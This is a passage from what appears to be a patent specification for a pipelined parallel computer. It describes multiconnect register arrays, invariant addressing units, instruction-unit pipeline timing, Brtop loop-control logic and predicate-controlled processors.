To process instructions, the instruction unit 9 sequentially accesses the kernel instructions, Ik, and corresponding operations, on k,l, one or more times during one or more iterations, i, of the instruction stream IS.
The computer 3 includes one or more processors 32, each processor for performing one or more of operations, on k,l, specified by the instructions, Ik, from the instruction unit 9. The processors 32 include input ports 10 and output ports 11.
The computer 3 includes a plurality of multiconnects(registers) connect elements(registers) 22 and 34, addressed by memory addresses, an k (c)(i), from invariant addressing (IA) units 12. The multiconnect elements 22 and 34 connect operands from and to the processors 32. Each multiconnect element 22 and 34 has an input port 13 and an output port 14. The multiconnect elements 34 provide input operands for the processors 32 on their memory output ports 14 when addressed by invariant addresses from the invariant address IA units 12.
The computer 3 includes processor-multiconnect buses 35 for connecting output result operands from processor output ports 11 to multiconnect element input ports 13.
The computer 3 includes multiconnect-processor buses 36 for connecting input operands from multiconnect output ports 14 to processor input ports 10.
The computer 3 includes an invariant addressing (IA) unit 12 for addressing the multiconnect elements 22 and 34 during different iterations including a current iteration, i, and a previous iteration, (i-1).
In FIG. 2, the output lines 99-1 from the instruction unit 9 are asociated with the processor 32-1. The S1 source address on bus 59 addresses through an invariant address unit 12 a first column of multiconnect elements 34-1 to provide a first operand input on bus 36-1 to processor 32-1 and the S2 source address on bus 61 addresses through an invariant address unit 12 a second column of multiconnects elements 34-2 to provide a second operand input to processor 32-1 on column bus 36-2. The D1 destination address on bus 64 connects through the invariant address unit 12-1 and latency delay 133-1 to address the row of multiconnect elements 34 which receive the result operand from processor 32-1. The instruction unit 9 provides a predicate address on bus 71 to a predicate multiconnect element 22-1 which in response provides a predicate operand on bus 33-1 to the predicate control 140-1 of processor 32-1.
In a similar manner, output lines 99-2 and 99-3 from the instruction unit 9 are associated with the processors 32-2 and 32-3, respectively, for addressing through invariant address units 12 the rows and columns of the multiconnect unit 6. The output lines 99-3 and processor 32-3 are associated with the multiconnect elements 22 which, in one embodiment, function as the predicate control store. Processor 32-3 is dedicated to controlling the storing of predicate control values to the multiconnect elements 22. These control values enable the computer of FIG. 2 to execute kernel-only code, to process recurrences on loops and to process conditional recurrences on loops.
NP Processing Unit--FIG. 3
In FIG. 3, further details of the computer 3 of FIG. 2 are shown. In FIG. 3, a number of processors 32-1 through 32-9 forming the processing unit 8 are shown. The processors 32-1 through 32-4 form a data cluster for processing data.
In the data cluster, the processor 32-1 performs floating point (FAdd) adds and arithmetic and logic unit (ALU) operations such as OR, AND, and compares including "greater than" (Fgt), "greater than or equal to" (Fge), and "less than" (Flt), on 32-bit input operands on input buses 36-1 and 37-1. The processor 32-1 forms a 32-bit result on the output bus 35-1. The bus 35-1 connects to the general purpose register (GPR) input bus 65 and connects to the row 237-1 (dmc 1) of mutliconnect elements 34. The processor 32-1 also receives a predicate input line 33-1 from the predicate multiconnect ICR(1) in the ICR predicate multiconnect 29.
The processor 32-2 functions to perform floating point multiplies (FMpy), divides (FDiv) and square roots (FSqr). Processor 32-2 receives the 32-bit input data buses 36-2 and 37-2 and the iteration control register (ICR) line 33-2. Processor 32-2 provides 32-bit output on the bus 35-2 which connects to the GPR bus 65 and to the row 237-2 (dmc 2) of multiconnect elements 34.
The processor 32-3 includes a data memory 1 (Mem 1) functional unit 129 which receives input data on 32-bit bus 36-3 for storage at a location specified by the address bus 47-1. Processor 32-3 also provides output data at a location specified by address bus 47-1 on the 32-bit output bus 35-3. The output bus 35-3 connects to the GPR bus 65 and the multiconnect elements row 237-3 (dmc 3) of multiconnect 34. The Mem 1 unit 129 connects to port (1) 153-1 through a line 501 for transfers to and from main store 7 through a line 502 and unit 129 has the same program (address space as distinguished from multiconnect addresses) as the main store 7. The processor 32-3 also includes a control (STUFF) functional unit 128 which provides an output on bus 35-5 which connects as an input to the predicate ICR multiconnect 29.
The processor 32-4 is the data memory 2 (Mem 2). Processor 32-4 receives input data on 32-bit bus 36-4 for storage at an address specified by the address bus 47-2. Processor 32-4 also receives an ICR predicate input on a line from a multiconnect element 22-4. Processor 32-4 provides an output on the 32-bit data bus 35-4 which connects to the GPR bus 65 and as an input to row 237-4 (dmc 4) of the multiconnect elements 34. Processor 32-4 connects to port (2) 153-2 through a line 503 for transfers to and from main store 7 through a line 503 and unit 32-4 has the same program address space (as distinguished from multiconnect addresses) as the main store 7.
The processing element 32-1 is connected to a column of multiconnect elements 34 through the bus 36-1, one such multiconnect element being in each of the rows 237-1 through 237-4 (dmc 1, 2, 3 and 4, respectively) and one in the GPR row 28 (mc0). The processing element 32-1 is connected to a similar column of multiconnect elements 34 through the bus 37-1. In like fashion, the processing element 32-2 is connected to a column of multiconnect elements 34 through the bus 36-2, and to another such column through the bus 37-2. The processing element 32-3 is connected to a column of multiconnect elements 34 through the bus 36-3, and the processing element 32-4 is connected to a column of multiconnect elements 34 through the bus 36-4. Together, the rows 237-1 through 237-4 and a portion of the rows 28 and 29 having multiconnect elements which are connected to the processor elements 32-1 through 32-4 form the data cluster multiconnect array 30.
The ICR multiconnect elements 22, including ICR(1), ICR(2), ICR(3), ICR(4) and the GPR(1), GPR(2), GPR(3), GPR(4), GPR(5), and GPR(6) multiconnect elements 34 are within the data cluster multiconnect array 30.
In FIG. 3, the processing elements 32-5, 32-6, and 32-9 form the address cluster of processing elements The processor 32-9 is a displacement adder which adds an address on address bus 36-5 to a literal address on bus 44 from the instruction unit 32-7 to form an output address on bus 47-1 (amc6).
The processor 32-5 includes an address adder 1 (AAd 1). The processor 32-5 receives an input address on bus 36-6 and a second input address on bus 37-3 and an ICR value from line 33-6. The processor 32-5 provides a result on output bus 47-3 which connects to the GPR bus 65 and to the row 48-2 (amc5) of multiconnect elements 34.
The processor 32-6 includes an address adder 2 (AAd 2) functional unit and a multiplier (AMpy) functional unit which receive the input addresses on buses 36-7 and 37-4 and the ICR input on line 33-7. Processing element 32-6 provides an output on bus 47-4 which connects to the GPR bus 65 and to the row 48-1 (amc6) of the multiconnect elements 34.
In FIG. 3, the address adder 1 of processor 32-5 performs three operations, namely, add (AAdl), subtract (ASubl), and no op. All operations are performed on thirty two bit two's complement integers. All operations are performed in one clock cycle. The operation specified is performed regardless of the state of the enable bit (WEN line 96-2, FIG. 13); the writing of the result is controlled by the enable bit.
The Address Adder 1 adds (AAdl) the two input operands and places the result on the designated output bus 47-3 to be written into the specified address multiconnect element of row 48-2 (amc5) or into the specified General Purpose multiconnect element of row 28 (mc0). Since the add operation is commutative, no special ordering of the operands is required for this operation.
The address subtract operation is the same as address add, except that one operand is subtracted from the other. The operation performed is operand B - operand A.
In FIG. 3, the Address Adder 2 (AAd2) of processor unit 32-6 is identical to Address Adder 1 (AAd1) of processor unit 32-5 except that adder 2 receives a separate set of commands from the instruction unit 32-7 and places its result on row 48-1 (amc6) of the Address Multi-Connect array 31 rather than on row 48-2 (amc5).
In FIG. 3, the address adder/multiplier 32-6 performs three operations, namely, add (AAd2), multiply (AMpy), and NO OP. All operations are performed on thirty two bit two's complement integers. All operations are performed regardless of the state of the enable bit; the writing of the result is controlled by the enable bit.
The Address Multiplier in processor 32-6 will multiply the two input operands and place the results on the designated output bus to be written into the specified row 48-1 (amc6) address multiconnect array 31 or into the specified General Purpose Register row 28 (mc0). The input operands are considered to be thirty-two bit two's complement integers, and an intermediate sixty-four bit two's complement result is produced. This intermediate result is truncated to 31 bits and the sign bit of the intermediate result is copied to the sign bit location of the thirty two bit result word.
Each of the processing elements 32-1 through 32-4 in FIG. 3 is capable of performing one of the operations on l where l designates the particular instruction in which the operation to be performed is found. The n designates the particular one of the operations. For example, the floating point add (FAdd) in processor 32-1 is operation n=1, the arithmetic and logic operation is operation n=2, and so on. Each operation in an instruction l commences with the same clock cycle. However, each of the processors for processing the operations may require a different number of clock cycles to complete the operation. The number of cycles required for an operation is referred to as the latency of the processor performing the operation
In FIG. 3, the address multiconnect array 31 includes the rows 48-1 (amc6) and 48-2 (amc5) and a portion of the multiconnect elements in the GPR multiconnect 28 and the ICR multiconnect 29.
In FIG. 3, the processor 32-7 serves as an instruction unit having an output bus 54 which connects with different lines to each of the other processors 32 in FIG. 3 for controlling the processors in the execution of instructions. The processor 32-7 also provides an output on bus 35-6 to the GPR bus 65. Processor 32-7 connects to port(0) 153-0 through a line 505 for instruction transfers from main store 7 through a line 506.
In FIG. 3, the processor 32-8 is a miscellaneous register file which receives the input line 33-5 from the GPR(7) multiconnect element 34 and the line 33-6 from the ICR(5) element 22-5. The processor 32-8 provides an output on bus 35-7 which connects to the GPR bus 65.
Each of the multiconnect arrays 30 and 31 comprises a plurality of multiconnect memory elements 34; the elements 34 are arranged in rows and columns. Each multiconnect element 34 is effectively a 64-word register file, with 32 bits per word, and is capable of writing one word and reading one word per clock cycle. Each row receives the output of one of the processors 32 and each column provides one of the inputs to the processors 32. All of the multiconnect elements 34 in any one row store identical data. A row in the multiconnect arrays 30 and 31 is effectively a single multi-port memory element that, on each cycle, can support one write and as many reads as there are columns, with the ability for all the accesses to be to independent locations in the arrays 30 and 31.
As mentioned in the preceding paragraph, each element 34 comprises a register that can store 64 words--that is, the register has 64 locations each of which can receive one 32-bit word. Each element 34 includes a multiconnect pointer register ("mcp") such as the register 82 shown in FIG. 12 and discussed elsewhere in this specification. Any one of the 64 locations in an element 34 can be addressed by specifying a displacement from a pointer stored in the mcp. This displacement is derived from an offset field in an instruction word. A "branch to to of loop" operation controlled by a "Brtop" instruction can decrement the mcp by one.
In a preferred embodiment, a multiconnect element 34 comprises two physical multiconnect gate arrays such as the gate arrays 67 and 68 shown in FIG. 11 and discussed elsewhere in this specification. The gate array 67 has 64 locations allocated to a first multiconnect element 34 such as an element D(3,3) shown in FIG. 10 and discussed elsewhere in this specification, each of these locations can receive 17 bits. One bit is a parity bit and the other 16 bits form one-half of a 32-bit word. Similarly, the array 68 has 64 17-bit locations which are allocated to the element D(3,3). A 32-bit word that is stored in the element D(3,3) is stored one-half in one of the locations in the gate array 67 and one-half in one of the locations in the gate array 68. Each of the arrays 67 and 68 also has 64 17-bit locations that are allocated to another multiconnect element 34 such as an element D(3,4) shown in FIG. 10. Two read and one write addresses are provided in each cycle.
The Read addresses are added in array adders (76 and 77 of FIG. 12 to the present value of the mcp. Each multi-connect element 34 contains a copy of the mcp in a register 82 that can be either decremented or cleared. The outputs of the array adders are used as addresses to the gatearray RAM 45 and 46. The output of the RAM is then stored in registers 78 and 79.
Each multiconnect element 34 completes two reads and one write in one cycle. The write address and write data are registered at the beginning of the cycle and the write is done in the first part of the cycle and an address mux 74 first selects the write address from register 75.
After the write has been done, the address mux 74 is switched to the Aadd from adder 76. The address for the first or "A" read is added to the current value of the mcp to form Aadd(0:5).
The address selected by mux 74 from adder 77 for the second or "B" read is added to the current value of the mcp to form Badd(0:5). The A read data is then staged in a latch 89. Then the B read data and the latched A read data are both loaded into flip-flops of registers 78 and 79.
The address cluster 26 operates only on thirty-two bit two's complement integers. The address cluster arithmetic units 32-9, 32-5 and 32-6 treat the address space as a "circular" space. That is, all arithmetic results will wrap around in case of overflow or precision loss. No arithmetic exceptions are generated. The memory ports will generate an exception for addresses less than zero.
The address multiconnect array 31 of FIG. 3 is identical to the data multiconnect array 30 of FIG. 3 except for the number of rows and columns of multiconnect elements 34. The address multiconnect array 31 contains two rows 48-1 and 48-2 and six columns. Conceptually, each element consists of a sixty-four word register file that is capable of writing one word and reading one word per clock cycle. In any one row, the data contents of the elements 34 are identical.
All multiconnect addressing is done relative to the multiconnect pointer (mcp), except for references to the General Purpose Register file 28. The multiconnect pointer (mcp) is duplicated in each multiconnect element 34 in a mcp register 82 (see FIG. 12). This 6-bit number in register 82 is added in adders 76 and 77 to each register address modulo 64. In the example described, the mcp has the capability of being modified (decremented) and of being synchronized among all of the copies in all elements 34. The mcp register 82 (see FIGS. 6 and 12) is cleared in each element 34 for synchronization. However, for alternative embodiments, synchronization of the mcp registers is not required.
The General Purpose Register file is implemented using the multiconnect row 28 of elements 34 (mcO). The mcp for the GPR file is never changed. Thus, the GPR is always referenced with absolute addresses.
The value of the mcp at the time the instruction is issued by instruction unit 32-7 is used for both source and destination addressing. Since the destination value will not be available for some number of clock cycles after the instruction is issued, then the destination physical address must be computed at instruction issue time, not result write time. Since the source operands are fetched on the instruction issue clock cycle, the source physical addresses may be computed "on the fly". Since the mcp will be distributed among the multiconnect elements 34, then each multiconnect element provides the capability of precomputing the destination address, which will then be staged by the various functional units.
The destination address is added to mcp only if the GIB select bit is true. The GIB select bit is the most significant bit, DI(6) on line 64-1 of FIG. 4, of the seven bit destination address DI on bus 64. If the GIB select bit is false, then the destination address is not added to mcp, but passes unaltered.
Certain operations have one source address and two destination addresses. For these instances, the value of mcp is connected from the multiconnect element 34 via line 50 of FIG. 12 so that its value may be used in external computations. Bringing mcp off the chip also provides a basis for implementing logic to ensure that the multiple copies of mcp remain synchronized.
Instruction Unit--FIG. 4
Further details of the instruction unit (IU) 32-7 of FIG. 3 are shown. The instruction unit includes an instruction sequencer 51 which provides instruction addresses, by operation of an address generator 55, to an instruction memory (ICache) 52. Instruction memory 52 provides an instruction into an instruction register 53 through a communication line 500 under control of the sequencer 51. For a horizontal architecture, the instruction register 53 is typically 256 bits wide. Register 53 has outputs 54-1 through 54-8 which connect to each of the processing elements 32-1 through 32-8 in FIG. 3.
Each of the outputs 54 has similar fields and includes an opcode (OP) field, a first address source field (S1), a second address source field (S2), a destination field (D1), a predicate field (PD), and a literal field (LIT). By way of example, the output 54-2 is a 39-bit field which connects to the processor 32-2 in FIG. 3. The field sizes for the output 54-2 are shown in FIG. 4.
While the field definition for each of the other outputs 54 from the instruction register 53 are not shown, their content and operation are essentially the same as for output 54-2. The instruction unit bus 54-8 additionally includes a literal field (LIT) which connects as an input to bus 44 to the displacement adder 32-9 of FIG. 3.
The instruction unit 32-7 of FIGS. 3 and 4 provides the control for the computer 3 of FIG. 3 and is responsible for the fetching, caching, dispatching, and reformatting of instructions.
The instruction unit includes standard components for processing instructions for controlling the operation of computer 3 as a pipelined parallel processing unit. The following describes the pipeline structure and the operation of the address generator 55.
The pipeline in address generator 55 includes the following stages:
|C|I|E1 . . . En |D|
C: During the C Cycle the ICache 52 of FIG. 4 is accessed. At the end of this cycle, the instruction register 53 is loaded.
I: During the I Cycle, the Instruction Register 53 is valid. The Opcodes, Source (S1, S2), Destination (D1) and other fields on buses 54 are sent to the various processors 32. The Source fields (S1, S2) access the multiconnects 34 during this cycle.
E: The E cycle or cycles represent the time that processors 32 are executing. This E cycle period may be from 1 to n cycles depending on the operation. The latency of a particular operation for a particular processor 32 is (n+1), where n is the number of E cycles for that processor.
D: During the D cycle, the results of an operation are known and are written into a target destination. An results that a previous instruction provided in its D cycle.
In multiple-operation (MultiOp) mode, which occurs when register 53 of FIG. 4 is employed, there are up to seven operations executing in parallel. This parallel operation is shown as:
______________________________________| C | I | E1 | E2 | E3 | D || E1 | E2 | E3 | E4 | E5 | E6 | D || E1 | E2 | E3 | E4 | E5 | D || E1 | E2 | E3 | D || E1 | E2 | E3 | E4 | D || E1 | E2 | E3 | D || E1 | E2 | E3 | E4 | D |______________________________________
The following is an example of the operation of a sequence of instructions starting at address A. The CurrIA address is used to access the ICache 52 of FIG. 4.
__________________________________________________________________________ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |A: I0 | T | C | I | E1 | D | Latency = 2A + 1: I1 | T | C | I | E1 | E2 | D | Latency = 3A + 2: I2 | T | C | I | E1 | E2 | E3 | D | Latency = 4A + 3: I3 | T | C | I | E1 | E2 | D | Latency = 3CurrIA | | A |A + 1 |A + 2 |A + 3 | | | | | | | | | | | | | | |IR53 | | | I0 | I1 | I2 | I3 | | | |__________________________________________________________________________
The following is an example of the operation of a Branch Instruction. Whether the branch instruction is conditional or unconditional does not matter. During the first half of Cycle 4, the Branch address is calculated. During that cycle the Tag and the TLB Arrays are accessed by the sequential address (A+3) in the first half, and by the Branch Address (T) in the second half. Also during Cycle 4, a Branch Predicate is accessed
In Cycle 5 both the location in the ICache of the Sequential Instruction and the Target Instruction are known. Also known is the branch condition. The branch condition is used to select between the Sequential Instruction address and the Target Instruction address when accessing the ICache 52. If the Branch is an unconditional Branch, then the Target Instruction will always be selected.
__________________________________________________________________________ | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | | | | | | | | | |A: I0 | T | C | I |A + 1: Br T | T | C | I |A + 2: I2 | T | C | I |A + 3: I3 | T | |T: J5 | T | C | I |T + 1: J6 | T | C | I | | | | | | | | | | |NextIA | A |A + 1 |A + 2 |A + 3 |A + 4 |T + 2 | | | | | | | | | | | | | |CurrIA | | A |A + 1 |A + 2 |A + 3 |T + 1 | | | | | | | | | | | | | |NextTIA | | | | |T + 1 | | | | | | | | | | | | | | |CurrTIA | | | | | T | | | | | | | | | | | | | | |IR | | | I0 |BrT | I2 | J5 | J6 | | |__________________________________________________________________________
The Timing and Loop Control 56 of FIG. 4 is control logic which controls the Iteration Control Register (ICR) multiconnect 29 in FIG. 3 (designated as 92 in FIG. 14), in response to a Loop Counter 90, Multiconnect/ICR Pointer Registers (mcp 82 in FIG. 12 and icp 102 in FIG. 14), and an Epilog Stage Counter 91. Control 56 is used to control the conditional execution of the processors 32 of FIG. 3.
The control 56 includes logic to decode the "Brtop" opcode and enable the Brtop executions. The control 56 operates in response to a "Brtop" instruction to cause instruction fetching to be conditionally transferred to the branch target address by asserting the BR signal on line 152. The target address is formed by address generator 55 using the sign extended value in the "palit" field which has a value returned to the sequencer 51 on bus 54-8 from the instruction register 53 and connected as an input on line 151 to address generator 55 in FIG. 4 and FIG. 5.
The Loop Counter (1c) 90, Epilog Stage Counter (esc) 91, and the ICR/Multiconnect Pointers (icp/mcp) register 82 of FIG. 6, FIG. 12 and 102 of FIG. 14 are conditionally decremented by assertion of MCPEN and ICPEN from control 56 in response to the Brtop instruction. The "icr" location addressed by (icp-1)mod128 is conditionally loaded in response to the Brtop instruction into register 92 of FIG. 14 with a new value in response to the signals on lines 104 from control 56.
The branch latency and the latency of the new values in the "lc", "esc", "icr", and "icp/mcp" are 3 cycles after "Brtop" is issued. Two additional instructions execute
The "lc" value in register 90 and "esc" in register 91 f FIG. 4 are checked by control 56 on the cycle before the "Brtop" is to take effect (latency of 2 cycles) to determine what conditional operations should occur.
The control 56 operates in the following manner in response to "Brtop" by examining "lc" on 32-bit bus 97 and "esc" on 7-bit bus 98. If the "lc" is negative, the "esc" is negative, or if the "lc" and "esc" are both zero, then the branch is not taken (BR not asserted on line 151); otherwise, the branch is taken (BR asserted on line 151).
If the "lc" is greater then zero, then the "lc" is decremented by a signal on line 257; otherwise, it is unchanged.
If the "lc" is zero, and the "esc" is greater than or equal to zero, then the "esc" is decremented by a signal on line 262; otherwise, it is unchanged.
If the "lc" is positive, and the "esc" is greater than or equal to zero, then the "icp/mcp" is decremented by generating MCPEN and ICPEN on lines 85 and 86.
The Iteration Control Register(icr) 92 of FIG. 14 is used to control the conditional execution of operations in the computer 3. Each "icr" element 22 in FIG. 2 and 92 in FIG. 14 consists of a 128 element array with 1 bit in each element. On each cycle, each "icr" element 22 can be read by a corresponding one of the seven different processors (FMpy) 32-2, (FAdd) 32-1, (Mem1) 32-3, (Mem2) 32-4, (AAd1) 32-5, (AAd2) 32-6, and (Misc) 32-8. Each addressed location in the "icr" 92 is written implicitly at an "icr" address in response to the "Brtop" instruction.
An "icr" address is calculated by the addition of the "icrpred" field (the PD field on the 7-bit bus 71 of FIG. 4, for example) specified in an NP operation with the "ICR Pointer" (icp) register 102 at the time that the operation is initiated. The addition occurs in adder 103 of FIG. 14.
The Loop Counter "1c" 90 in FIG. 4 is a 32-bit counter that is conditionally decremented by a signal on line 257 during the execution of the "Brtop" instruction. The loop counter 90 is used to control the exit from a loop, and determine the updating of the "icr" register 92.
The Epilog Stage Counter "esc" 91 is a 7-bit counter that is conditionally decremented by a signal on line 262 during the execution of the "Brtop" instruction. The Epilog Stage Counter 91 is used to control the counting of epilog stages and to exit from a loop.
The detailed logical statement of the logic for control 56 for controlling the "1c" counter, the "esc" counter in response to "Brtop" appears in the following CHART.
CHART______________________________________if ![(1c@2 <0) :: (esc@2<0) :: (1c@2==0) && (esc@2==0)] pc@3 = brb@0 + paLit;if (1c@2>0) 1c@3 = 1c@2 - 1;if [(1c@2==0) && (esc@2>=0)] esc@3 = esc@2 - 1;if [(lc@2>=0) && (esc@2>=0)] {icr[icp@2 - 1]@3 = [(1c@2>0)? 1 : 0]; icp@3 = icp@2 - 1; mcp@3 = mcp@2 - 1;}______________________________________ ! means NOT :: means OR && means AND == means COMPARE FOR EQUAL TO >= means COMPARE FOR GREATER OR EQUAL TO = means SET EQUAL TO @ means OFFSET TIME > means GREATER THAN
Instruction Address Generator--FIG. 5
In FIG. 5, further details of the instruction address generator 55 of FIG. 4 are shown. The generator 55 receives an input from the general purpose register file, GPR (7) via the input bus 33-5. The bus 33-5 provides data which is latched into a branch base register (BRB) 205. Register 205 is loaded as part of an initialization so as to provide a branch base address. The BRB register 205 provides an input to a first register stage 144-1 which in turn connects directly to a second register stage 144-2. The output from the register 144-2 connects as one input to an adder 146.
In FIG. 5, the address generator 55 receives the literal input (palit) on bus 151 which is derived through the timing loop control 56 of FIG. 4 directly from the instruction register 53 via the bus 54-8. In FIG. 5, the bus 151 has the literal field latched into a first register stage 145-1, which in turn is connected to the input of a second register stage 145-2. The output from the second register stage 145-2 connects as the second input to adder 146. The adder 146 functions to add a value from the general purpose register file, GPR (7), with a literal field from the current instruction to form an address on bus 154. That address on bus 154 is one input to a multiplexer 148. The multiplexor 148 receives its other input on bus 155 from an address incrementer 147. Incrementer 147 increments the last address from a instruction address register 149. The multiplexer selects either the branch address as it appears on bus 154 from the branch adder 146 or the incremented address on the bus 155 for storing into the instruction address register 149. The branch control line 152 is connected as an input to the multiplexer 148 and, when line 152 is asserted, the branch address on bus 154 is selected, and when not asserted, the incremented address on bus 155 is selected. The instruction address from register 149 connects on bus 150 as an input to the instruction cache 52 of FIG. 4.
The registers 144-1, 144-2, 145-1, and 145-2, and the instruction register 149, provide a three-cycle latency for the instruction address generator 55. In the embodiment described, the earliest that a new branch address can be selected for output on the bus 150 is three cycles delayed after the current instruction in the instruction register 53 of FIG. 4. Of course, the latency is arbitrary and may be selected at many different values in accordance with the design of the particular pipeline data processing system.
Invariant Addressing Unit--FIG. 6
An invariant addressing unit, typical of the various invariant addressing units 12 of FIG. 2, is shown in FIG. 6. Each such unit includes a modifying unit such as a subtracter 84 for forming a current pointer address, mcp(i), from a previous pointer address mcp(i-1) with the operation D*[mcp(i-1)] such that mcp(i)=D*[mcp(i-1)]. The unit 12 includes a pointer register 82 for storing the pointer address, mcp(i), for use in the ith -iteration. The unit 12 includes an address generator (adder 76) combining the pointer address, mcp(i), with an address offset, aon k (c), to form the memory addresses, an k (c)(i), for the ith -iteration, which address is connected to memories 34 to provide an output on the cth port. For the invariant address units 12-1 in FIG. 2, the cth port (c=1) is ports 14-1 and 10-1. For the Address units 12-2 the cth port (c=2) is ports 14-2 and 10-2. Processor 32-1 has first and second input ports (c=1, c=2) and the other processors have one or more similar inputs (c=3, c=4, . . .).
Typical Processor--FIG. 7
In FIG. 7, further details of a typical one of the processors 32 of the FIG. 2 system are shown. The processor 32 includes one or more functional units 130. In FIG. 7, the functional units include the functional units 130-1 and 130-2. The functional units include well-known execution devices, such as adders, multipliers, dividers, square root units, arithmetic and logic units, and so forth. Additionally, in accordance with the present invention, the functional units also include data memories for storing data. When the functional units 130-1 and 130-2 of FIG. 7 perform arithmetic and logical functions, the functional units typically include first and second inputs, namely input bus 36 and input bus 37. The buses 36 and 37 are the data buses which carry data output from the multiconnect array of FIG. 2. Each functional unit 130 includes a number of shift-register stages (first-in/first-out stack), x, which represents the latency time of the functional unit, that is, the number of cycles required for the input data on buses 36 and 37 to provide valid outputs on buses 35, including the bus 35-1 from the unit 130-1 and the bus 35-2 from the unit 130-2. The number of stages 132-1, 132-2, . . . , 132-x determining the latency time is a variable and the different processors 32 of FIG. 2 may each have different number of stages and latency times. Similarly, each functional unit 130-1 and 130-2 within a processor may have different latency times. For example, the functional unit 130-1 has a latency of x and the functional unit 130-2 has a latency of y. The functional unit 130-2 has the stages 132-1, 132-2, . . . , 132-y which operate as a first-in/first-out stack. In FIG. 7, an opcode decoder 137 receives an opcode on bus 63 from the instruction register 53 of FIG. 4. Decoder 137 provides a first output on line 156 for enabling the functional unit 130-1 and provides a second output on line 157 for enabling the second functional unit 130-2. Similarly, the enable signals from decoder 137 are input on lines 156 and 157 to the processor control 131. In FIG. 7, a predicate stack 140 receives the predicate line 33 from one of the ICR registers 22 of FIG. 3. The predicate stack 140 includes a number of stages 140-1, 140-2, . . . , 140-x,y which is equal to the largest of x or y. When functional unit 130-1 is employed, the predicate stack utilizes x stages and, when functional unit 130-2 is enabled, the predicate stack 140 employs y stages so that the latency of the predicate stack matches that of the active functional unit.
Each of the stages in the stack 140 provides an input to the control 131. In this manner, the control 131 is able to control the operation and the output as a function of the predicate bit value in any selected stage of the stack 140. In FIG. 7, the processor 32 includes an address first-in/first-out stack 133. The address stack receives a D1in bus 164 from the instruction register 53 of FIG. 4. The instruction stack 133 includes the largest of x or y stages, namely 133-1, 133-2, . . . , 133-x,y. Whenever the functional unit 130-1 is enabled, x stages of the stack 133 are employed and the stack 133 provides an output 264 has latency x under control of line 265 from control 131, and whenever the functional unit 130-2 is enabled, y stages of the stack 133 are employed and the output 264 has latency y under control of line 265. The processing unit 32 of FIG. 7 operates such that the latency of the particular unit enabled and the latency of the predicate stack 140 and the address stack 133 are all the same. In this manner, the pipeline operation of the processing units are maintained synchronized. In the simplest example, the processor 32 only need include a single functional unit having a single latency x for the functional unit 130-1, the predicate stack 140 and the address stack 133. The inclusion of more than one functional unit into a single processor is done for cost reduction.
In FIG. 7, the control unit 131 receives inputs from the decoder 137, the predicate stack 140 and the functional units 130-1 and 130-2. The control unit 131 provides a write enable (WEN) signal on line 96. The write enable signal on line 96 can be asserted or not asserted as a function of the state of a predicate bit and as a function of some condition created in a functional unit 130-1 or 130-2. The write enable signal on line 96 connects to the multiconnect 30 of FIG. 2 and determines when the result on bus 35-1 or 35-2 is actually to be written into the respective row of multiconnect elements
STUFFICR Processor--FIG. 8
In FIG. 8, further details of the STUFF processor 32-3, one of the processors 32 of FIG. 2, are shown. In FIG. 8, the processor 32-3 includes a functional unit 130-3, which has a latency of three cycles. The three cycles are represented by a plurality of register stages 158-1, 158-2, and 158-3. The input to register stage 158-1 is from the column data bus 36-3. A comparator 159 receives the output from stage 158-2 and compares it with a "0" input. If the input operand on bus 36-3 is all 0's, then the output from comparator 159 is asserted as a logical 1 connected to an EXCLUSIVE-OR gate 160. The other input to gate 160 in a control 131-3 is derived from an opcode decoder 137-3. The opcode decoder 137-3 functions to decode the opcode to detect the presence of either a STUFFICR or a STUFFBAR (STUFFICR) opcode. Whenever a STUFFICR opcode is decoded by decoder 137-3, a signal on a line 168 is asserted and latched into a register stage 161-1 in the control 131-3 and on the next clock cycle is latched into a register stage 161-2 to provide an input to the gate 160. During the same clock cycles the predicate bit from line 33-3 is latched in a register stage 163-1 in a predicate stack 140-3 if AND gate 180 is enabled by a decode signal (indicating either STUFFICR or STUFFBAR) from decoder 137-3 on a line 181. In the next cycle the data in the stage 163-1 is latched into a register stage 163-2 to provide an input to an AND gate 162. The output from the EXCLUSIVE-OR gate. 160 forms the other input to AND gate 162. The output from gate 162 is latched into the register 158-3 to provide the ICR data on line 35-5 written into the addressed location of all predicate elements 22 in predicate multiconnect 29.
In FIG. 8, the predicate address on a bus 164-3 derives from the predicate field (PD) as part of bus 54-8 from the instruction register 53 of FIG. 4, through the invariant address unit 12-3 in FIG. 2 and is input to an address stack 133-3. The predicate address is advanced through the register stages 165-1, 165-2 and 165-3 to appear on a predicate address output 264-3. The predicate address on bus 264-3 together with the WEN signal on line 96-3 addresses the row of ICR multiconnect elements 22 to enable the predicate bit on line 35-5 to be stored into the addressed location in each element 22.
In FIG. 8, the latency of the functional unit 130-3, the control 131-3, the predicate stack 140-3, and the address stack 133-3 are all the same and equal three cycles.
Iselect-Multiply Processor--FIG. 9
In FIG. 9, further details of the processor 32-2 of FIG. 3 are shown. A functional unit 130-2 includes a conventional multiplier 169 which is used to do multiplies, divides and square roots as specified by lines 267 from a decoder 137-2. Additionally, either the data input on bus 36-2 or the data input on bus 37-2 can be selected for output on the bus 35-2. The selection is under control of a predicate bit from a predicate stack 140-2 on a line 266 to multiplexer 171.
In FIG. 9, the bus 36-2 connects through a left register stage 170-1 as one input to the multiplier 169. The multiplier 169 includes register stages 170-2, . . . , 170x. The bus 37-2 connects through a right register stage 170-1 as the other input to the multiplier 169. Additionally, the outputs from the register stages 170-1 connect as inputs to the multiplexer 171. The multiplexer 171 selects either the left or right register from the stage 170-1 to provide data onto the bus 276 as one input to a multiplexer 172 through a register stack 170. The multiplexor 171 is controlled to select either the left or right input, that is the latched value of the data from bus 36-2 or from bus 37-2, under control of a predicate bit latched in a register stage 174-1 in the predicate stock 1402. The predicate latched into stage 174-1 is a 1 or 0 received through an AND gate 268 from the predicate line 33-2 which connects from the ICR multiconnect element 22-2 of FIG. 3. The AND gate 268 is enabled by a signal on line 269 asserted by decoder 137-2 when an Isel operation is to occur and multiplier 169 is to be bypassed. Also, gate 268 is satisfied when a multiply or other function is to occur with multiplier 169 and the value of the predicate bit on line 33-2 will be used, after propagation to a register stage 174-xl to control the enable or disable of the storage of the results of that operation.
